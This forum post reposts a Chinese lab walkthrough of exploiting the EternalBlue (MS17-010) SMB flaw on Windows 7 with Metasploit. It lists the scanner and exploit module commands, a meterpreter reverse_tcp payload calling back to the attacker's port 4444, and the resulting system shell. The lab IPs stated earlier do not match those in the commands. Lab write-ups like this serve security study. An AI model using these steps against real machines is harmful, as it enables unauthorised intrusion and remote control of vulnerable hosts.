搜索

[21140] 2020-07-15_永恒之蓝漏洞利用

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-18
2020-07-15_永恒之蓝漏洞利用 永 恒 之 蓝 漏 洞 利 用 L e m o n S e c   2 0 2 0 - 0 7 - 1 5 漏 洞 介 绍 ： 永 恒 之 蓝 是 在 W i n d o w s 的 S M B 服 务 处 理 S M B   v 1 请 求 时 发 生 的 漏 洞 ， 这 个 漏 洞 导 致 攻 击 者 在 目 标 系 统 上 可 以 执 行 任 意 代 码 。 通 过 永 恒 之 蓝 漏 洞 会 扫 描 开 放 4 4 5 文 件 共 享 端 口 的 W i n d o w s 机 器 ， 无 需 用 户 任 何 操 作 ， 只 要 开 机 上 网 ， 不 法 分 子 就 能 在 电 脑 和 服 务 器 中 植 入 勒 索 软 件 、 远 程 控 制 木 马 、 虚 拟 货 币 挖 矿 机 等 恶 意 程 序 。   实 验 环 境 ： 攻 击 机 ： 1 9 2 . 1 6 8 . 0 . 1 3 4 （ k a l i 2 0 1 9   M e t a p l o i t 工 具 ） 靶 机 ： 1 9 2 . 1 6 8 . 0 . 1 1 1   （ w i n 7   x 6 4 ）   漏 洞 利 用 ： 1 . 扫 描 漏 洞 在 k a l i 终 端 中 输 入 m s f c o n s o l e m s f   > u s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0 （ 加 载 扫 描 e x p ） m s f   > s e t   R H O S T S   1 0 . 1 0 1 . 2 . 1 1 （ 设 置 被 扫 描 I P ） m s f   > r u n ( 进 行 扫 描 ， 观 察 是 否 存 在 该 漏 洞 ) 上 图 可 知 ， 可 能 存 在 M S 1 7 - 0 1 0   2 . 漏 洞 攻 击 u s e   e x p l o i t / w i n d o w s / s m b / m s 1 7 _ 0 1 0 _ e t e r n a l b l u e   ( 加 载 攻 击 模 块 ) s e t   R H O S T   1 0 . 1 0 1 . 2 . 1 1 （ 被 攻 击 机 I P ） s e t   L H O S T   1 9 2 . 1 6 8 . 2 0 7 . 1 3 0 （ 设 置 本 地 I P ） s e t   L P O R T   4 4 4 4 ( 设 置 连 接 端 口 ) s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p （ 配 置 回 链 方 式 ）
s h o w   o p t i o n s ( 查 看 配 置 相 关 信 息 ) m e t e r p r e t e r   > r u n （ 开 始 攻 击 ） s y s i n f o 爆 出 系 统 信 息
    m e t e r p r e t e r   > s h e l l ， 进 入 靶 机 c m d     反 弹 s h e l l 成 功     可 以 发 现 最 高 权 限 没 有 专 业 运 营 团 队 ， 纯 个 人 凭 着 空 闲 时 间 的 学 习 ， 通 过 网 络 搜 集 与 学 习 整 理 的 资 料 记 录 并 分 享 。   如 果 觉 得 文 章 对 你 有 帮 助 ， 请 支 持 下 点 击 右 下 角 “ 在 看 ” 转 载 自 ： h t t p s : / / w w w . c n b l o g s . c o m / N - s c h e m a / p / 1 3 2 9 2 0 6 4 . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理